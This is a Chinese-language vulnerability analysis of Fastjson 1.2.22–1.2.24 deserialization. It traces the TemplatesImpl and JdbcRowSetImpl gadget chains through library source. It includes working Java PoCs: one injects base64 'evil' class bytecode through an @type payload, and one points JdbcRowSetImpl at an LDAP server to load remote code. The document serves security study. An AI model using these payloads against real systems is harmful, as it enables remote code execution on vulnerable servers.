前言 本文为Fastjson1.2.22-1.2.24反序列化漏洞分析。
主要利用链分为基于TemplateImpl的利用链和基于JdbcRowSetImpl的利用链
TemplateImpl利用链 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class Poc { public static String readClass (String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_auto () throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator" ); final String evilClassPath = "/Users/lih3iu/Test.class" ; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" +evilCode+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n" ; System.out.println(text); Object obj = JSON.parseObject(text1, Object.class , config , Feature .SupportNonPublicField ) ; } public static void main (String args[]) { try { test(); } catch (Exception e) { e.printStackTrace(); } } }
调用链分析 断点下在JSON.parseObject并跟进
JSON#praseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static <T> T parseObject (String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) { if (input == null ) { return null ; } else { if (features != null ) { Feature[] var6 = features; int var7 = features.length; for (int var8 = 0 ; var8 < var7; ++var8) { Feature feature = var6[var8]; featureValues |= feature.mask; } } DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues); .... T value = parser.parseObject(clazz, (Object)null ); parser.handleResovleTask(value); parser.close(); return value; } }
先通过传进去的feature也就是我们设置的Feature.SupportNonPublicFields生成FeatureValues并作为参数传入DefaultJSONParser类中初始化生成一个parser,然后调用parser中的parserObject来解析clazz。
DefaultJSONParser#parseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public <T> T parseObject (Type type, Object fieldName) { int token = this .lexer.token(); if (token == 8 ) { this .lexer.nextToken(); return null ; } else { if (token == 4 ) { if (type == byte [].class ) { byte [] bytes = this .lexer.bytesValue(); this .lexer.nextToken(); return bytes; } if (type == char [].class ) { String strVal = this .lexer.stringVal(); this .lexer.nextToken(); return strVal.toCharArray(); } } ObjectDeserializer derializer = this .config.getDeserializer(type); try { return derializer.deserialze(this , type, fieldName); } catch (JSONException var6) { throw var6; } catch (Throwable var7) { throw new JSONException(var7.getMessage(), var7); } } }
通过getDeserializer函数或者对应类型的反序列化器,并进行反序列化
JavaObjectDeserializer#deserialze
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public <T> T deserialze (DefaultJSONParser parser, Type type, Object fieldName) { if (type instanceof GenericArrayType) { Type componentType = ((GenericArrayType)type).getGenericComponentType(); if (componentType instanceof TypeVariable) { TypeVariable<?> componentVar = (TypeVariable)componentType; componentType = componentVar.getBounds()[0 ]; } List<Object> list = new ArrayList(); parser.parseArray(componentType, list); if (componentType instanceof Class) { Class<?> componentClass = (Class)componentType; Object[] array = (Object[])((Object[])Array.newInstance(componentClass, list.size())); list.toArray(array); return array; } else { return list.toArray(); } } else { ➡️ return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName); } }
由于type为Object.class类型,所以进入parse函数
DefaultJSONParser#parse
1 2 3 4 5 6 7 public Object parse (Object fieldName) { JSONLexer lexer = this .lexer; switch (lexer.token()) { ... case 12 : JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this .parseObject((Map)object, fieldName);
在Feature.OrderField选项关闭的情况下进入一个新的parseObject函数(返回类型为Object)
DefaultJSONParser#parseObject(return Object)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public final Object parseObject (Map object, Object fieldName) { JSONLexer lexer = this .lexer; try { boolean setContextFlag = false ; while (true ) { lexer.skipWhitespace(); char ch = lexer.getCurrent(); if (lexer.isEnabled(Feature.AllowArbitraryCommas)) { while (ch == ',' ) { lexer.next(); lexer.skipWhitespace(); ch = lexer.getCurrent(); } } boolean isObjectKey = false ; Object key; ParseContext contextR; if (ch == '"' ) { key = lexer.scanSymbol(this .symbolTable, '"' ); lexer.skipWhitespace(); ch = lexer.getCurrent(); if (ch != ':' ) { throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key); } }
进行json内容解析扫描,通过skipWhitespace函数进行空格去除,然后拿到当前字符,如果是双引号的,再次通过scanSymbol函数进行解析扫描
在扫描到双引号的情况下停止并返回
所以我们此时得到了value为@type的key变量,再接着向下跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this .symbolTable, '"' ); Class<?> clazz = TypeUtils.loadClass(ref, this .config.getDefaultClassLoader()); if (clazz != null ) { lexer.nextToken(16 ); if (lexer.token() != 13 ) { this .setResolveStatus(2 ); if (this .context != null && !(fieldName instanceof Integer)) { this .popContext(); } if (object.size() > 0 ) { instance = TypeUtils.cast(object, clazz, this .config); this .parseObject(instance); thisObj = instance; return thisObj; } ObjectDeserializer deserializer = this .config.getDeserializer(clazz); thisObj = deserializer.deserialze(this , clazz, fieldName); return thisObj; }
条件满足key并且DisableSpecialKeyDetect选项关闭,接着进行扫描,扫描下一个双引号中的内容,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且通过loadclass加载此类,跟进loadclass
TypeUtils#loadclass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className != null && className.length() != 0 ) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null ) { return clazz; } else if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } else if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } else { try { if (classLoader != null ) { clazz = classLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var6) { var6.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null ) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var5) { }
通过loadclass加载到目标类并返回,然后将className与clazz放入缓存mappings,这里做缓存可以更方便下次调用,避免重复的loadclass耗费资源
接着回到parseObject函数中,再次进入deserilaze函数做反序列化处理
1 2 3 ObjectDeserializer deserializer = this .config.getDeserializer(clazz); thisObj = deserializer.deserialze(this , clazz, fieldName); return thisObj;
JavaBeanDeserializer#deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected <T> T deserialze (DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {..... label1013: { if (!matchField) { key = lexer.scanSymbol(parser.symbolTable); if (key == null ) { token = lexer.token(); if (token == 13 ) { lexer.nextToken(16 ); break label1013; } if (token == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) { break label1068; } }
通过scanSymbol再次扫描双引号,获得_bytecode恶意代码字段,并且通过parseField函数对此字段进行解析
JavaBeanDeserializer#parseField
1 2 3 4 5 6 7 8 9 10 11 12 13 public boolean parseField (DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { JSONLexer lexer = parser.lexer; FieldDeserializer fieldDeserializer = this .smartMatch(key); int mask = Feature.SupportNonPublicField.mask; if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this .beanInfo.parserFeatures & mask) != 0 )) { .... } } else { lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken()); ➡️ ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues); return true ; } }
再次跟进parseField函数
DefaultFieldDeseriailizer#parseField
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void parseField (DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { if (this .fieldValueDeserilizer == null ) { this .getFieldValueDeserilizer(parser.getConfig()); } ... Object value; if (this .fieldValueDeserilizer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this .fieldValueDeserilizer; value = javaBeanDeser.deserialze(parser, fieldType, this .fieldInfo.name, this .fieldInfo.parserFeatures); } else if (this .fieldInfo.format != null && this .fieldValueDeserilizer instanceof ContextObjectDeserializer) { value = ((ContextObjectDeserializer)this .fieldValueDeserilizer).deserialze(parser, fieldType, this .fieldInfo.name, this .fieldInfo.format, this .fieldInfo.parserFeatures); } else { value = this .fieldValueDeserilizer.deserialze(parser, fieldType, this .fieldInfo.name); } ... if (parser.getResolveStatus() == 1 ) { ResolveTask task = parser.getLastResolveTask(); task.fieldDeserializer = this ; task.ownerContext = parser.getContext(); parser.setResolveStatus(0 ); } else if (object == null ) { fieldValues.put(this .fieldInfo.name, value); } else { this .setValue(object, value); }
最后进入关键方法FieldDeserializer#setvalue,主要代码如下
1 field.set(object, value);
成功将_bytecodes变量设置为恶意类,接下来_outputProperties的检测同样如此
通过
1 Method method = this .fieldInfo.method;
检测出反序列化调用的getter进行反射调用getoutputProperties方法
跟进此方法
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
跟进newTransformer
1 2 3 4 5 6 7 8 9 10 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ... }
跟进getTransletInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; }
跟进defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
在这段代码中首先要注意下_tfactory.getExternalExtensionsMap,这里也就是为什么我们要将字段中的_tfactory设置为{}的原因,防止后续产生报错
将恶意类定义,并进行了父类的判断,然后再在getTransletInstance中通过newInstance函数将恶意类实例化,触发命令执行
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
完整调用链如下
JdbcRowSetImpl利用链 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main (String[] argv) { testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl () { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1387/Exploit\"," + " \"autoCommit\":true}" ; JSON.parse(payload); } }
调用链分析 前面一直到loadclass一直都是一样的,这里就不再赘述
反序列化解析类的过程依然是先遍历一遍属性,然后接着解析json,拿到键值
再跟进parseObject
JavaBeanDeserializer#parseObject
接着跟进其中的parseField方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public void parseField (DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { if (this .fieldValueDeserilizer == null ) { this .getFieldValueDeserilizer(parser.getConfig()); } Type fieldType = this .fieldInfo.fieldType; if (objectType instanceof ParameterizedType) { ParseContext objContext = parser.getContext(); if (objContext != null ) { objContext.type = objectType; } fieldType = FieldInfo.getFieldType(this .clazz, objectType, fieldType); this .fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType); } Object value; if (this .fieldValueDeserilizer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this .fieldValueDeserilizer; value = javaBeanDeser.deserialze(parser, fieldType, this .fieldInfo.name, this .fieldInfo.parserFeatures); } else if (this .fieldInfo.format != null && this .fieldValueDeserilizer instanceof ContextObjectDeserializer) { value = ((ContextObjectDeserializer)this .fieldValueDeserilizer).deserialze(parser, fieldType, this .fieldInfo.name, this .fieldInfo.format, this .fieldInfo.parserFeatures); } else { value = this .fieldValueDeserilizer.deserialze(parser, fieldType, this .fieldInfo.name); } if (parser.getResolveStatus() == 1 ) { ResolveTask task = parser.getLastResolveTask(); task.fieldDeserializer = this ; task.ownerContext = parser.getContext(); parser.setResolveStatus(0 ); } else if (object == null ) { fieldValues.put(this .fieldInfo.name, value); } else { this .setValue(object, value); } }
熟悉的setValue反射调用method
跟进所反射的方法
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
跟进connect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext(); ➡️ DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
在上面我们通过setDataSourceName函数进行了变量设置
1 2 3 4 5 6 7 8 9 10 11 12 13 public void setDataSourceName (String var1) throws SQLException { if (this .getDataSourceName() != null ) { if (!this .getDataSourceName().equals(var1)) { super .setDataSourceName(var1); this .conn = null ; this .ps = null ; this .rs = null ; } } else { super .setDataSourceName(var1); } }
所有这里变量可控,即可造成rmi/ldap注入,完成调用
总结 相比来看,TemplateImpl这条利用链是有一定的限制的,还要设置Feature.SupportNonPublicField这个条件才能触发
对于JdbcRowSetImpl这条链来讲,更多的限制体现在jdk版本的限制,在高版本下是有对rmi以及Idap注入的限制的
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191,不过如果环境本身classpath存在可利用的Gadgets,也是可以利用的。
版本的限制影响如下
参考链接 http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
https://xz.aliyun.com/t/6633